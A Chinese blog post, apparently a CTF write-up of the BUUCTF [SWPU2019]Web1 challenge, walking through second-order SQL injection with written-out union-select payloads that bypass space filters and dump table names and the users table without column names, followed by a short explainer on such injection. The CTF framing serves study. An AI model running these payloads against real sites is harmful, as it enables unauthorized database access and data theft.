当前位置: 首页 > news >正文

4.buuctf [SWPU2019]Web1及知识点

进入题目页面如下

猜测是二次注入

先注册一个账号

再登录,页面如下

点击申请发布广告

页面如上,存在注入点,尝试

判读是整数型注入还是字符型注入

猜解字段数,尝试发现or,#,空格等被过滤了,只能一个一个试

使用联合查询试试

-1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

居然有22个

测试后注入点在2处

爆出数据库名

1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

数据库名为web1

爆出表名

1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'

表名是abs和users

爆出字段内容

1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

终于得到了flag


无字段名注入

基本概念

在常规的 SQL 注入中,通常需要明确知道数据库表的字段名,然后通过构造恶意输入来干扰 SQL 语句的正常执行。而无字段名注入则是在不知道具体字段名的情况下,仍然能够实施注入攻击,获取数据库中的信息

产生原因

动态 SQL 语句构建:当开发人员在编写代码时,采用动态拼接 SQL 语句的方式,且对用户输入的验证和过滤不严格,就可能为无字段名注入提供机会。

通用查询接口:一些应用程序提供了通用的查询接口,允许用户输入条件进行数据查询,但没有对输入进行有效的限制,可以利用这个接口进行无字段名注入。

攻击原理

无字段名注入主要利用 SQL 语句的一些特性,如 ORDER BY 子句、GROUP BY 子句、LIMIT 子句等,结合盲注技术来逐步获取数据库信息。以下是几种常见的无字段名注入方法:

利用 ORDER BY 子句确定字段数量
SELECT * FROM users WHERE id = 1 ORDER BY 1 -- 正常返回
SELECT * FROM users WHERE id = 1 ORDER BY 2 -- 正常返回
SELECT * FROM users WHERE id = 1 ORDER BY 3 -- 报错

通过不断尝试不同的数字作为 ORDER BY 子句的参数,当返回报错时,说明表中的字段数量小于该数字,从而确定表中的字段数量。

利用 GROUP BY 子句和聚合函数获取数据

在确定了字段数量后,可以利用 GROUP BY 子句和聚合函数(如 COUNTSUM 等)来获取数据。例

SELECT COUNT(*), GROUP_CONCAT(column1, column2) FROM users GROUP BY id;

可以通过不断尝试不同的组合,结合盲注技术,逐步获取字段中的数据。

利用 LIMIT 子句逐行获取数据

在获取了表的字段数量后,可以使用 LIMIT 子句逐行获取数据。

SELECT * FROM users LIMIT 0, 1; -- 获取第一行数据
SELECT * FROM users LIMIT 1, 1; -- 获取第二行数据

相关文章:

  • matlab基于梯度下降和软阈值化的去噪算法
  • 民用无人驾驶航空器操控员考试
  • C#: String s = new String(“Hello“)无法编译?编程语言字符集有两个?为什么这种变量名“\u0061\u0062”都能编译通过?
  • netcore https配置
  • node.js + html调用ChatGPTApi实现Ai网站demo(带源码)
  • Ae 效果详解:蒙尘与划痕
  • 类和对象详解(下)-----运算符重载
  • [Vivado报错] [Runs 36-527] DCP does not exist
  • matlab模拟风场的随机脉动风
  • 升级 SpringBoot3 全项目讲解 — JOOQ 为什么全面超越了 Mybatis?
  • HarmonyOS NEXT网络状态监听HTTP和RCP请求网络
  • 【软考】【2025年系统分析师拿证之路】【啃书】第十一章 软件需求工程(十二)
  • 使用 Ansys MotorCAD 进行轴向磁通电机设计
  • wordpress get_footer();与wp_footer();的区别的关系
  • Node.js 中的 fs 模块详解
  • 一个n*m的二维非零tensor,如何将小于0.5的元素设置为零
  • 建筑行业安全技能竞赛流程方案
  • 【iOS】SwiftUI状态管理
  • Python elasticsearch客户端连接常见问题整理
  • 内容中台:解锁企业资源整合与敏捷响应新路径
  • “80后”蒋美华任辽宁阜新市副市长
  • 王沪宁主持召开全国政协主席会议
  • 商务部:4月份以来的出口总体延续平稳增长态势
  • 《沙尘暴》:用贴近生活的影像和表演拍摄悬疑剧
  • 一图读懂|上海海关公布一季度数据:钢材出口增长超143%
  • 交通枢纽、产业升级,上海松江新城有这些发展密码